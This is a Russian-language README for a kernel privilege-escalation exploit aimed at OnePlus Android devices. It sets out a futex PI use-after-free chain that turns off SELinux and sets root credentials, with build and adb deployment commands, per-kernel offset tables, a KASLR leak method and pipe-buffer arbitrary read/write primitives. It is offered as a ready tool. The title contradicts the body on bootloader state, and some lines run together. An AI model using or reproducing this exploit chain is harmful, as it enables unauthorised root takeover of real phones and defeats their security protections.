
(CVE-2026-43499)Эксплойт ядра для устройств OnePlus с разблокированным загрузчиком.
Эксплойт ядра, нацеленный на устройства OnePlus с заблокированным загрузчиком. Использует CVE-2026-43499 для получения root-доступа без разблокировки загрузчика и изменения boot.img.
Только для авторизованных исследований в области безопасности и образовательных целей.
| Параметр | Значение |
|---|---|
| CVE | CVE-2026-43499 |
| Тип | Futex PI (Priority Inheritance) Use-After-Free |
| Область | Linux kernel 2.6.39 ~ 7.1 |
| Исправлено в | Mainline 7.1 (коммит 3bfdc63936dd) |
| Статус Android | GKI 6.12.x всё ещё уязвим |
Системный вызов pselect6 копирует fd_set в стек ядра. В сочетании с механизмом ожидания futex PI освобождённый кадр стека может быть перераспределён как структура rt_mutex_waiter. При обходе цепочки PI перебалансировка rb-дерева записывает управляемые данные по произвольным адресам ядра.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| Устройство | Кодовое имя | SoC | Ядро | Прошивка | Статус |
|---|---|---|---|---|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ Проверено |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ Проверено |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ Проверено |
Другие устройства OnePlus на том же семействе SoC, Android 16 или ядре 6.12.x могут быть адаптированы с помощью извлечения смещений из boot.img.
GhostLock выполняет повышение привилегий. Для установки KernelSU требуется ksud (поставляется вместе с kernelsu.ko для конкретного KMI):
| Источник | Примечания |
|---|---|
| ReSukiSU APK (рекомендуется) | Установите ReSukiSU; APK включает libksud.so |
| CI Release | Скачать с ReSukiSU CI (ksud-aarch64-linux-android.zip) |
Без ksud эксплойт всё равно получит root-оболочку с uid=0, но KernelSU не будет установлен, и
suне сохранится.
ANDROID_NDK_HOME или ANDROID_NDK_ROOT# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — статически слинкованный ARM64 ELF-исполняемый файл.
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
После первого успешного запуска
resetpropавтоматически устанавливаетpersist.adb.tcp.port=5555, что позволяет полностью автоматический запуск при последующих перезагрузках.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop, чтобы включить ADB TCP 5555127.0.0.1:5555/data/local/tmp/a/e --write1
Смещения хранятся в таблице поиска src/devices/offsets.h с ключом по uname -r. Программа автоматически сопоставляет их при запуске; неизвестные ядра отклоняются.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
| Тип | Количество | Извлечение |
|---|---|---|
| Глобальные символы kallsyms | 28 | tools/extract_target.py |
| Поля структур BTF | 57 | tools/extract_btf.py |
| Производные значения | 9 | Вычисляются автоматически |
| Фиксированные константы | 12 | Захардкожено |
| Структура | Поля | Назначение |
|---|---|---|
task_struct | 17 | Дескриптор процесса, cred, seccomp |
rt_mutex_waiter | 6 | Цель подделки UAF |
cred | 4 | Учётные данные, возможности |
seccomp | 3 | Состояние фильтра seccomp |
pipe_inode_info | 11 | Операции с буферами pipe |
file_operations | 13 | Поддельная таблица fops |
mm_struct | 1 | Владелец дескриптора памяти |
Когда доступ к указателям ядра ограничен (kptr_restrict), утечка базового адреса происходит через перезапись boot_id адресом ядра:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
Когда устройство ashmem доступно, используйте примитивы чтения/записи configfs для чтения указателей функций из таблицы fops ashmem и вычисления смещения KASLR.
Создавайте поддельные объекты ядра на страницах порядка 3 (32 КБ):
file_operations — перехват указателя fops miscdevice ashmemrt_mutex_waiter — имитация узла ожидания в цепочке PItask_struct — ссылка на задачу при обходе PIrt_mutex (блокировка) — корректная информация об ожидающем/владельцеРеализовано через SKB (socket buffer) + KernelSnitch:
mm_structsendmsg для заполнения кучи ядраПосле получения базового адреса KASLR используйте буферы pipe для доступа к памяти на физическом уровне:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
Поддерживаются: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00